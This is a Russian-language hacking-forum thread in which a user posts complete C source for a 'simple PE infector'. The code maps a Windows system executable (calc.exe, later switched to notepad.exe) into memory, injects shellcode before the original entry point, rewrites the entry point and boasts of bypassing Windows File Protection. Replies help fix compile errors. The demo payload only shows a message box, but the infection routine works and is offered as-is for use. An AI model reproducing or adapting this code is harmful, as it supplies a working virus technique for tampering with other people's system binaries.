Простой сишный Pe инфектор

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by _Great_, 25 Nov 2006.

  1. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Внедряется в блокнот сдвигом назад точки входа и дописыванием перед оригинальной точкой входа своего кода. Инфицированный блокнот вызывает MessageBox и продолжает свою нормальную работу.
    Модификация блокнота производится маппингом его в память и редактированием прямо там, Windows File Protection отдыхает.

    Code:
    // Windows headers
    #include <windows.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdio.h>
    #include <imagehlp.h>
    
    // Linker options
    #pragma comment(linker, "/ENTRY:main /MERGE:.rdata=.text /MERGE:.data=.text /ALIGN:512")
    
    // Get entry point raw offset
    DWORD GetEntryOffset(char* pFileMap)
    {
    	PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pFileMap;
    	PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)(pFileMap + dos->e_lfanew);
    	PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNTHeaders);
    	int numSections = pNTHeaders->FileHeader.NumberOfSections;
    	while (numSections > 0)
    	{
    		// Find '.text' section
    		if(!stricmp(pSectionHeader->Name, ".text"))
    		{
    			return pNTHeaders->OptionalHeader.AddressOfEntryPoint - pNTHeaders->OptionalHeader.BaseOfCode + pSectionHeader->PointerToRawData;
    		}
    		pSectionHeader++;
    		numSections--;
    	}
    	return 0;
    }
    
    // Entry
    main()
    {
    	HANDLE hFile, hMapping;
    	DWORD d;
    	char *mapping, *entry;
    	PIMAGE_DOS_HEADER dos;
    	PIMAGE_NT_HEADERS nt;
    	int i;
    
    	char code[] =	
    		"\x6a\x00" // PUSH 0
    		"\x68\x00\x00\x00\x00" // PUSH 0
    		"\x68\x00\x00\x00\x00" // PUSH 00000000 | NOP
    		"\x6a\x00" // PUSH 0
    		"\xe8\x00\x00\x00\x00" // CALL USER32.MessageBoxA /*address will be filled on the fly*/
    		"\xeb\x08" // JMP $+8
    		"I'm GHV" /*\x00*/; // string "I'm GHV"
    
    	char exe[1024];
    
    	// Get windows directory & create file path
    	GetWindowsDirectory(exe,sizeof(exe)-1);
    	strcat(exe, "\\System32\\calc.exe");
    
    	// Open & map file
    	hFile = CreateFile(exe, GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
    	if(hFile!=INVALID_HANDLE_VALUE)
    	{
    		d = GetFileSize(hFile, 0);
    		hMapping = CreateFileMapping(hFile, 0, PAGE_READWRITE, 0, d, 0);
    		mapping = MapViewOfFile(hMapping, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, d);
    
    		dos = (PIMAGE_DOS_HEADER)mapping;
    		nt = (PIMAGE_NT_HEADERS)(mapping + dos->e_lfanew);
    
    		// Calculate 'MessageBoxA' address
    		d = (DWORD)GetProcAddress(LoadLibrary("user32.dll"), "MessageBoxA");
    		entry = (char*)GetEntryOffset(mapping);
    
    		// Store address
    		for(i=0;i<sizeof(code);i++)
    			if(*(DWORD*)&(code[i]) == 0x000000e8)
    				break;
    		*(DWORD*)(code+i+1) = d - (DWORD)(nt->OptionalHeader.AddressOfEntryPoint + nt->OptionalHeader.ImageBase);
    
    		// Find address of "I'm GHV"
    		for(i=0;i<sizeof(code);i++)
    			if(*(WORD*)&(code[i]) == 0x2749 /*"I'"*/)
    				break;
    		d = (nt->OptionalHeader.AddressOfEntryPoint + nt->OptionalHeader.ImageBase) - sizeof(code) + i;
    
    		// Store address in PUSH command
    		for(i=0;i<sizeof(code);i++)
    			if(*(DWORD*)&(code[i]) == 0x00000068)
    				break;
    		*(DWORD*)(code+i+1) = d;
    		*(DWORD*)(code+i+6) = d;
    		
    		// if first command is 6A 00 (push 0), file is already infected
    		if(*(WORD*)(mapping+(DWORD)entry) != 0x006a)
    		{
    			// Infect file
    			memcpy(mapping+(DWORD)entry-sizeof(code), code, sizeof(code));
    			nt->OptionalHeader.AddressOfEntryPoint -= sizeof(code);
    		}
    		else // already infected
    			MessageBox(0, "Already infected", 0, 0);
    	
    		// Unmap & close file
    		UnmapViewOfFile(mapping);
    		CloseHandle(hMapping);
    		CloseHandle(hFile);
    	}
    	else
    		MessageBox(0, "Not found", 0, 0);
    }
    
     
    8 people like this.
  2. TaNkist

    TaNkist Elder - Старейшина

    Joined:
    6 Apr 2006
    Messages:
    147
    Likes Received:
    47
    Reputations:
    19
    Небольшое замечание - внедряется не в блокнот, а в калькулятор.
     
  3. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    блин, я сто раз правил его , не заметил, когда постил))
    Ну не суть - исправь calc.exe на notepad.exe
     
  4. 043nKRuT0y

    043nKRuT0y Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    226
    Likes Received:
    8
    Reputations:
    0
    Не выходит скомпилировать, пишет что мол есть не совпадение типов в :
    Code:
    if(!stricmp(pSectionHeader->Name, ".text"))
    IntelliSense: argument of type "BYTE *" is incompatible with parameter of type "const char *"
    Code:
    mapping = MapViewOfFile(hMapping, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, dFileSize);
    IntelliSense: a value of type "LPVOID" cannot be assigned to an entity of type "char *"

    Собираю в MSVS2010
     
  5. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    ->
    ->
    удивлен, что вы такой вопрос задали.

    upd: или же смените расширение файла на *.c
     
    #5 Ins3t, 13 Feb 2012
    Last edited: 13 Feb 2012